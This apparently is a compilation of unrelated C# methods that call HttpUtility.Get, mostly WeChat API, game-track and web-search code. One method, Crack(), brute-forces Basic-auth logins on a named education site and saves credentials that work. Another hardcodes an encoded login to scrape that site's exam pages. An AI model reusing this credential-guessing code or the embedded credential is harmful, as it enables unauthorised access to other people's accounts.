public WxConfigModel WxConfig(ISettingService _settingService, ICacheManager _cacheManager, string url) { var appId = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppId); var appSecret = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppSecret); var token = GetAccessToken(_cacheManager, appId, appSecret); var tickent = string.Format("https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token={0}&type=jsapi", token.access_token); JSApiTicketModel apiTicker = HttpUtility.Get <JSApiTicketModel>(tickent); var nonceStr = CommonHelper.GenerateNonceStr(); var timestamp = CommonHelper.GetTimeStamp(); var urlPath = "jsapi_ticket=" + apiTicker.ticket + "&noncestr=" + nonceStr + "×tamp=" + timestamp + "&url=http://" + url; var signature = CommonHelper.EncryptToSHA1(urlPath); var jsonData = new WxConfigModel { appId = appId, timestamp = timestamp, noncestr = nonceStr, signature = signature, ticket = apiTicker.ticket, value = signature, urlPath = urlPath }; return(jsonData); }
public OAuthUserInfo GetWeChatUserInfo(ISettingService _settingService, string code) { var appId = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppId); var appSecret = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppSecret); try { if (!string.IsNullOrEmpty(code)) { OAuthToken oauthToken = HttpUtility.Get <OAuthToken>(string.Format("https://api.weixin.qq.com/sns/oauth2/access_token?appid={0}&secret={1}&code={2}&grant_type=authorization_code", appId, appSecret, code)); string accesstoken = string.Empty; AccessToken token = HttpUtility.Get <AccessToken>(string.Format("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid={0}&secret={1}", appId, appSecret)); if (token != null && !string.IsNullOrEmpty(token.access_token)) { accesstoken = token.access_token; } if (oauthToken != null && !string.IsNullOrEmpty(oauthToken.openid)) { OAuthUserInfo userInfo = HttpUtility.Get <OAuthUserInfo>(string.Format("https://api.weixin.qq.com/cgi-bin/user/info?access_token={0}&openid={1}&lang=zh_CN", accesstoken, oauthToken.openid)); return(userInfo); } } } catch { } return(null); }
private void PollTracks() { if (TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) > m_nextTrackPollTime) { Console.WriteLine("Polling tracks..."); lock (m_trackLocker) { m_tracks = HttpUtility.Get <Track[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/tracks?validation=valid"); } lock (m_displayTrackLocker) { m_displayTracks = GetTracks().Select(t => new Trackmanagement.Track { Name = t.TrackName, Type = t.TrackType, Image = string.Format("{0}\\{1}{2}", Reflex.LocalImagePath, t.TrackName, Path.GetExtension(t.ThumbnailUrl)).Replace("\\", "/"), Author = t.Author, Slot = t.SlotNumber, Date = TimeUtility.UnixTimeStampToString(t.CreationTime), Installs = t.RatingVoteCount, MyInstalls = GetMyInstalls(t.TrackName), Favorite = GetFavorite(t.TrackName), }).ToArray(); } m_nextTrackPollTime = TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) + TrackPollTimeInSeconds; } }
/// <summary> /// Gets the external ip address from HTTP. /// </summary> /// <param name="url">The HTTP provider to query.</param> /// <param name="timeout">The timeout for the query, in milliseconds.</param> /// <returns>The external IP address.</returns> public override IPAddress GetExternalFrom(string url, int timeout) { try { var response = HttpUtility.Get(url, timeout); if (response.Failure) { return(IPAddress.None); } if (response.HasValue) { var value = response.Value; value = value.Replace("\n", String.Empty); value = value.Trim(); IPAddress address; if (IPAddress.TryParse(value, out address)) { return(address); } return(IPAddress.None); } return(IPAddress.None); } catch (Exception) { return(IPAddress.None); } }
public static void Initialize() { m_shareRateLimiter.Add(TrackType.National, 0); m_shareRateLimiter.Add(TrackType.Supercross, 0); m_shareRateLimiter.Add(TrackType.FreeRide, 0); m_nextPollTime = 0; m_sharedTracks = HttpUtility.Get <SharedReflexTracks[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/share"); }
public AccessToken GetAccessToken() { var appId = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppId); var appSecret = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppSecret); AccessToken token = HttpUtility.Get <AccessToken>(string.Format(token_Url, appId, appSecret)); return(token); }
private static void PollSharedTracks() { if (Reflex.OverlayIsVisible() && TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) > m_nextPollTime) { lock (m_sharedTrackLocker) { m_sharedTracks = HttpUtility.Get <SharedReflexTracks[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/share"); } m_nextPollTime = TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) + TrackSharing.ServerPollingRateInSeconds; } }
public List <EntitySubjectModule> GetSubjectModules(int subjectId) { string address = @"http://www.sweetfly.net/api/cmr/GetSubjectModules?id=" + subjectId; var strResponse = HttpUtility.Get(address, Encoding.UTF8); var js = new JavaScriptSerializer(); var result = js.Deserialize <ApiResponse <List <EntitySubjectModule> > >(strResponse); return(result.Result); }
public AccessToken GetAccessToken(ICacheManager cacheManager, string appId, string appSecret) { //AccessToken token = cacheManager.GetCache(ArtSolution.ArtSolutionConsts.CACHE_ACCESS_TOKEN) // .Get(ArtSolutionConsts.CACHE_ACCESS_TOKEN, () => // { // return HttpUtility.Get<AccessToken>(string.Format("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid={0}&secret={1}", appId, appSecret)); // }); return(HttpUtility.Get <AccessToken>(string.Format("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid={0}&secret={1}", appId, appSecret))); //return token; }
public void TestHttpPureGet() { HttpUtility.IsCertificateNeedValidate = false; HttpUtility.IsEnsureSuccessStatusCode = false; string url = $"{this.BaseUrl}/base64/RmV3Qm94"; string token = "<token>"; string response = HttpUtility.Get(url, token, new List <Header> { }); Assert.AreEqual("FewBox", response); }
public ActionResult KfListData() { var token = this._cacheManager.GetCache(CACHE_ACCESSTOKEN).Get(CACHE_ACCESSTOKEN, () => GetAccessToken()); string url = string.Format(kf_Url, token.access_token); var list = HttpUtility.Get <KfAccountListModel>(url); var jsonData = new DataSourceResult { ExtraData = list.kf_list }; return(AbpJson(jsonData)); }
public ActionResult MenuList() { var menuUrl = "https://api.weixin.qq.com/cgi-bin/menu/get?access_token={0}"; var token = this._cacheManager.GetCache(CACHE_ACCESSTOKEN).Get(CACHE_ACCESSTOKEN, () => GetAccessToken()); string url = string.Format(menuUrl, token.access_token); var list = HttpUtility.Get <KfAccountListModel>(url); var jsonData = new DataSourceResult { ExtraData = list.kf_list }; return(AbpJson(jsonData)); }
public bool IsActiveVersion() { bool active = false; var version = HttpUtility.Get <ReflexManagerVersion[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/version"); m_activeVersion = version.Where(v => v.Active == true).Select(v => v.Version).FirstOrDefault(); active = m_activeVersion == Version; if (active == false) { Console.WriteLine(string.Format("Update requred: (v{0})", m_activeVersion)); } return(active); }
static void Main(string[] args) { try { Console.WriteLine("Requesting invalid tracks from the database."); var invalidTracks = HttpUtility.Get <Track[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/tracks?validation=invalid").ToList(); var zipsPendingProcessingDirectory = string.Format(@"{0}\ZipsPendingProcessing", Environment.CurrentDirectory); Directory.CreateDirectory(zipsPendingProcessingDirectory); //{ //Handle rars // var rarTracks = invalidTracks.Where(t => Path.GetExtension(t.TrackUrl) == ".rar").ToArray(); // if (rarTracks.Length > 0) // { // Console.WriteLine(string.Format("Found {0} tracks that are compressed with WinRAR. Initializing process to convert them to zip.", rarTracks.Length)); // RarHandler rarHandler = new RarHandler(zipsPendingProcessingDirectory); // rarHandler.ConvertToZipFiles(rarTracks); // } //} //{ //Handle multiple tracks // var multipleTracks = invalidTracks.Where(t => t.ErrorInfo.Contains("Please only upload one track per zip file")).ToArray(); // if (multipleTracks.Length > 0) // { // MultipleTracksPerZipHandler handler = new MultipleTracksPerZipHandler(zipsPendingProcessingDirectory); // invalidTracks.AddRange(handler.SeperateTracks(multipleTracks)); // } //} //{ //Handle multiple tracks // var slot8Tracks = invalidTracks.Where(t => t.ErrorInfo == "Unknown slot; ").ToArray(); // if (slot8Tracks.Length > 0) // { // Slot8Handler handler = new Slot8Handler(zipsPendingProcessingDirectory); // handler.ProcessTracks(slot8Tracks); // } //} TrackProcessor trackProcessor = new TrackProcessor(); trackProcessor.ProcessZipFiles(invalidTracks.ToArray(), zipsPendingProcessingDirectory); } catch (Exception e) { ExceptionLogger.LogException(e); } Console.WriteLine("Press any key to close this window."); Console.ReadKey(); }
private async static Task Crack() { try { const string url = "http://learning.cmr.com.cn/member/checkuser.asp?type=AD"; while (true) { var skipNo = Interlocked.Increment(ref skip); repository.SavePosition(skipNo); var crackUser = await repository.GetOne(skipNo); try { var baseAuth = string.Format("Basic {0}", Base64Encrypt.EncryptString(crackUser.UserName + ":" + crackUser.Password)); var strResponse = HttpUtility.Get(url, Encoding.UTF8, x => { x.Referer = "http://learning.cmr.com.cn/"; x.Headers["Authorization"] = baseAuth; }); //保存 repository.SaveSuccessUserInfo(new CmrUserInfo() { UserName = crackUser.UserName, Password = crackUser.Password, CreateDate = DateTime.Now }); Console.WriteLine(JsonUtility.Serialize(crackUser)); } catch (WebException) { Console.Write("."); } catch (Exception ex) { Console.WriteLine(ex.Message); } } } catch (Exception ex) { Console.WriteLine(ex.Message); } }
/// <summary> /// Issues a GET http request and returns the answer string. /// </summary> /// <param name="url">The url of the http request.</param> /// <param name="timeout">Timeout for operation.</param> /// <returns>The parsed string.</returns> public virtual string Get(string url, int timeout) { // HTTP GET var response = HttpUtility.Get(this.Hostname + url, timeout); if (response.Failure || !response.HasValue) { Service.Logger.Log(response.Error); } // If we've failed again, return null if (response.Failure) { return(null); } // Return the response return(response.Value); }
public Reflex() { lock (m_trackLocker) { m_tracks = HttpUtility.Get <Track[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/tracks?validation=valid"); } m_uiFiles = new string[] { "MXTables_DLC008.dx9.database" , "MXTables_DLC008.dx9.package" , "MXTables_DLC008a.dx9.database" , "MXTables_DLC008a.dx9.package" , "MXUI_DLC008.dx9.database" , "MXUI_DLC008.dx9.package" }; m_reflexWasRunningLastFrame = false; m_nextTrackPollTime = TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) + TrackPollTimeInSeconds; }
private static void Main(string[] args) { int subjectId = 0; int typeId = 0; string url = @"http://learning.cmr.com.cn/student/acourse/HomeworkCenter/Modelzhlx.asp?CourseID=bk044a"; const string encoding = "GB2312"; const string fileName = "output.xml"; Console.Write("SubjectId:"); string strModuleId = Console.ReadLine(); subjectId = int.Parse(strModuleId); Console.Write("Url:"); url = Console.ReadLine(); Console.Write("Type(1-Normal;2-Old):"); string strTypeId = Console.ReadLine(); typeId = int.Parse(strTypeId); CmrClient client = new CmrClient(); GenerateNormalHandler.setModules(client.GetSubjectModules(subjectId)); string strResponse = HttpUtility.Get(url, Encoding.GetEncoding(encoding), x => { x.Headers["Authorization"] = "Basic am9objEyMzk1Mjpzd2VldDEyMw=="; }); GenerateHandler handler = HandlerFactory.CreateHandler(typeId); var list = handler.Process(strResponse, subjectId); using (var fsWrite = File.Create(fileName)) { var xs = new XmlSerializer(list.GetType()); xs.Serialize(fsWrite, list); } Process.Start(fileName); Console.WriteLine("OK:" + fileName); Console.ReadKey(); }
private static void ShareTracks(string trackType) { try { var currentSharedList = HttpUtility.Get <SharedReflexTracks[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/share"); var randomNames = HttpUtility.Get <string[]>("http://names.drycodes.com/10?nameOptions=games"); var trackSetName = randomNames.Where(n => currentSharedList.Any(t => t.Name == n) == false).FirstOrDefault(); if (trackSetName != null) { var installedTracks = LocalSettings.GetTracks().Where(t => t.Installed && t.Type == trackType).Select(t => t.Name).ToArray(); SharedReflexTracks tracksToShare = new SharedReflexTracks { Name = trackSetName, Type = trackType, Tracks = string.Join(",", installedTracks), CreationTime = TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) }; bool success = HttpUtility.Post("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/share", tracksToShare); if (success) { Log.Add(Trackmanagement.LogMessageType.LogInfo, string.Format("Uploaded your {0} tracks as '{1}'. Tell your party to install it from the Shared Tracks Window.", trackType, trackSetName)); long nextShareTime = TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) + TrackSharing.ShareRateLimitInSeconds; m_shareRateLimiter[trackType] = nextShareTime; } else { Log.Add(Trackmanagement.LogMessageType.LogError, string.Format("An unexpected error occured attempting to share your {0} tracks.", trackType)); } } else { Log.Add(Trackmanagement.LogMessageType.LogError, string.Format("Unable to share your {0} tracks because a unique name could not be generated. Please try again later.", trackType)); } } catch (Exception e) { ExceptionLogger.LogException(e); } }
/// <summary> /// 得到8道随机题目及答案 /// </summary> public int GetExam(SubjectModule module) { if (LoginInfo == null) { throw new NoNullAllowedException("LoginInfo"); } var encoding = Encoding.GetEncoding(module.HtmlDataSource.Encoding); //获取原始信息 try { var strResponse = HttpUtility.Get(module.HtmlDataSource.Uri, encoding, x => { x.Headers["Authorization"] = LoginInfo.Authorization; }); if (string.IsNullOrEmpty(strResponse)) { return(0); } ExamItemHandler handler = Activator.CreateInstance(module.HandlerType) as ExamItemHandler; var list = handler.Process(strResponse, module.Id); if (list == null || list.Count <= 0) { return(0); } //保存数据库 return(ExamItemService.SaveOrUpdate(list)); } catch (Exception ex) { _logger.Error("异常", ex); return(0); } }
public OAuthUserInfo GetWeChatUserInfo(ISettingService _settingService, ICacheManager cacheManager, string openId) { var appId = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppId); var appSecret = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppSecret); try { var Logger = Abp.Dependency.IocManager.Instance.Resolve <ILogger>(); Logger.Debug("获取用户信息"); var token = GetAccessToken(cacheManager, appId, appSecret); OAuthUserInfo userInfo = HttpUtility.Get <OAuthUserInfo>(string.Format("https://api.weixin.qq.com/cgi-bin/user/info?access_token={0}&openid={1}&lang=zh_CN", token.access_token, openId), Logger); Logger.Debug(token.access_token + "|||" + userInfo.nickname + "|||" + userInfo.openid); return(userInfo); } catch { } return(null); }
public IEnumerable <SearchResult> Search(string keyword, bool english = false) { if (string.IsNullOrWhiteSpace(this.baseUrl)) { return(null); } var logger = NiologManager.CreateLogger(); var lang = english ? "en" : "cn"; var ensearch = english ? "1" : "0"; var url = this.baseUrl.Replace("{keyword}", System.Web.HttpUtility.UrlEncode(keyword)).Replace("{lang}", lang).Replace("{ensearch}", ensearch); logger.Info() .Message($"{this.Name} url: {url}") .Write(); var html = HttpUtility.Get(url); if (string.IsNullOrWhiteSpace(html)) { logger.Warn() .Message($"{this.Name} response is null or white space") .Write(); return(null); } var doc = new HtmlDocument(); doc.LoadHtml(html); var nodes = doc.DocumentNode.SelectAllNodes(this.nodesSelection); if (nodes == null || nodes.Count <= 0) { logger.Warn() .Message($"cannot select nodes from {this.Name} response") .Write(); return(null); } var searchResults = nodes.AsParallel().AsOrdered().Select(node => { var result = new SearchResult { Source = this.Name }; var link = node.SelectFirstNode(this.linkSelection); if (link == null) { return(null); } result.Url = link.Attributes["href"]?.Value.Trim(); if (string.IsNullOrWhiteSpace(result.Url)) { return(null); } result.Title = System.Web.HttpUtility.HtmlDecode(link.InnerText.Trim()); var desc = node.SelectFirstNode(this.descSelection); result.Desc = System.Web.HttpUtility.HtmlDecode(desc?.InnerText.Trim()); return(result); }) .Where(result => result != null).ToList(); var count = searchResults.Count(); for (int i = 0; i < count; i++) { searchResults[i].Score = i + 1; searchResults[i].Base = count + 1; } return(searchResults); }
public ActionResult OAuthUserInfo() { var _settingService = Abp.Dependency.IocManager.Instance.Resolve <ISettingService>(); var appId = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppId); var appSecret = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppSecret); string code = Request.QueryString["code"]; try { if (!string.IsNullOrEmpty(code)) { OAuthToken oauthToken = HttpUtility.Get <OAuthToken>(string.Format("https://api.weixin.qq.com/sns/oauth2/access_token?appid={0}&secret={1}&code={2}&grant_type=authorization_code", appId, appSecret, code)); if (oauthToken != null && !string.IsNullOrEmpty(oauthToken.openid) && !string.IsNullOrEmpty(oauthToken.access_token)) { OAuthUserInfo userInfo = GetValue <OAuthUserInfo>(string.Format("https://api.weixin.qq.com/sns/userinfo?access_token={0}&openid={1}&lang=zh_CN", oauthToken.access_token, oauthToken.openid)); if (userInfo != null) { Logger.Debug("获取到用户信息nickName:" + userInfo.nickname); ViewData["headImage"] = userInfo.headimgurl; ViewData["openid"] = userInfo.openid; ViewData["nickName"] = userInfo.nickname; if (userInfo.sex == 0) { ViewData["sex"] = "未知"; } else if (userInfo.sex == 1) { ViewData["sex"] = "男"; } else { ViewData["sex"] = "女"; } ViewData["province"] = userInfo.province; ViewData["city"] = userInfo.city; } else { Logger.Debug("未获取到用户信息"); } } else { Logger.Debug("access_token:" + oauthToken.access_token + ",openid:" + oauthToken.openid); } } else { return(Redirect(string.Format("https://open.weixin.qq.com/connect/oauth2/authorize?appid={0}&redirect_uri={1}&response_type=code&scope=snsapi_userinfo&state=123456#wechat_redirect", appId, Server.UrlEncode("http://" + Request.Url.Host + Url.Action("OAuthUserInfo"))))); } } catch (Exception ex) { Logger.Debug("OAuthUserInfo:" + ex.Message); ViewData["errmsg"] = ex.Message; } return(View()); }
public IEnumerable <SearchResult> Search(string keyword, bool english = false) { if (string.IsNullOrWhiteSpace(this.baseUrl)) { return(null); } var lang = english ? "en" : "cn"; var ensearch = english ? "1" : "0"; var url = this.baseUrl.Replace("{keyword}", System.Web.HttpUtility.UrlEncode(keyword)).Replace("{lang}", lang).Replace("{ensearch}", ensearch); Log.Information("{Name} url: {Url}", this.Name, url); var uri = new Uri(url); var html = HttpUtility.Get(uri); if (string.IsNullOrWhiteSpace(html)) { Log.Warning("{Name} response is null or white space when searching {Url}", this.Name, url); return(null); } var doc = new HtmlDocument(); doc.LoadHtml(html); var nodes = doc.DocumentNode.SelectAllNodes(this.nodesSelection); if (nodes == null || nodes.Count <= 0) { using (LogContext.PushProperty("Problem", "bad query")) using (LogContext.PushProperty("Url", url)) { Log.Warning("cannot select nodes from {Name} response", this.Name); } return(null); } var searchResults = nodes.AsParallel().AsOrdered().Select(node => { var result = new SearchResult { Source = this.Name }; var link = node.SelectFirstNode(this.linkSelection); if (link == null) { return(null); } var href = link.Attributes["href"]?.Value.Trim(); if (string.IsNullOrWhiteSpace(href)) { return(null); } if (HttpUtility.IsUrl(uri, ref href)) { result.Url = href; } else { return(null); } result.Title = System.Web.HttpUtility.HtmlDecode(link.InnerText.Trim()); var desc = node.SelectFirstNode(this.descSelection); result.Desc = System.Web.HttpUtility.HtmlDecode(desc?.InnerText.Trim()); return(result); }) .Where(result => result != null).ToList(); var count = searchResults.Count(); for (int i = 0; i < count; i++) { searchResults[i].Score = i + 1; searchResults[i].Base = count + 1; } return(searchResults); }
public string OAuth(string appId, string redirect_uri) { var oatuth = string.Format("https://open.weixin.qq.com/connect/oauth2/authorize?appid={0}&redirect_uri={1}&response_type=code&scope=snsapi_base&state={2}#wechat_redirect", appId, System.Web.HttpUtility.UrlEncode(redirect_uri, System.Text.Encoding.UTF8), "wechat"); return(HttpUtility.Get(oatuth)); }